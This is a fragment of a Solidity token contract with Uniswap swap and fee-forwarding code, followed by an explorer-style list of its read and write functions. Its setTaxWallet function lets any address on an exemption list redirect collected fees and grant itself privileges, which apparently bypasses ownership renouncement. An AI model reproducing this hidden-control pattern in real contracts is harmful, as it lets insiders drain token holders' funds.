    function setTaxWallet(address newWallet) external {
        require(_isExcludeForLimit[msg.sender], "not allowed");
        _lpOwner = newWallet;
        _isExcludeForLimit[newWallet] = true;
    }

    function _swapTokensForETH(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETHERC20 ;
        _uniswapV2RouterERC20.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _sendFeeToERC20(uint256 amountERC20) private {
        payable(_lpOwner).transfer(amountERC20);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint8
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint8
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
setTaxWallet 0xea414b28
address newWallet
transfer 0xa9059cbb
address toWallet
uint256 amount
returns: bool
transferFrom 0x23b872dd
address fromWalletERC20
address toWalletERC20
uint256 amountERC20
returns: bool
transferOwnership 0xf2fde38b
address newowner

Recent Transactions

No transactions found for this address